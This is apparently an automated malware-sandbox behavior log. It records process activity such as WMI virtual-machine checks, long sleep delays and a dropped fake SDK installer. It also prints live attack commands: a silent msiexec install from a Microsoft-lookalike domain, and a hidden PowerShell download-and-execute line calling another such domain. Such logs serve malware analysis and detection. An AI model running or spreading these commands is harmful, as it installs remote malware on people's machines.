Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3920
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5760
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 1059

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\dotnet-sdk-8.0.408-win-x64.exe

Jump to dropped file

Source: C:\Windows\System32\msiexec.exe TID: 1764	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3324	Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6948	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('\|', $s, 'iex'))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
